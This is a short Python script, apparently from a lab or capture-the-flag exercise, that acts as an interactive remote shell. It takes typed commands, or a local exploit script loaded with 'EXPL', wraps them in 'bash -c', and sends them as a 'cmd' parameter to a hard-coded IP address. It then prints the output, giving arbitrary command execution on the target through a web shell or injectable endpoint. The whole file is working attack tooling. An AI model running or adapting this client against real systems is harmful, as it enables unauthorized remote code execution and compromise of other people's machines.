#!/usr/bin/env python3
import sys
import requests
import requests.exceptions

script=""

while True:
    print(" > ", end="", flush=True)
    command=input()
    worked=False
    while not worked:
        try:
            if command == "EXPL":
                with open("24-proc.sh", "r") as file:
                    script = "".join(file.readlines())
                command=script
            escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
            full = 'bash -c "'+escaped+'" 2>&1'#+' ; echo \\"result -> $?\\""'
            payload = { 'cmd': full}
            print(full)
            print(" ... ", end="\r", flush=True)
            req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
            print("     ", end="\r", flush=True)
            print(req.text)
            print("(done)")
            worked=True
        except requests.exceptions.ReadTimeout:
            print("(timed out)")
        except requests.exceptions.ConnectionError:
            print("(connect error)")

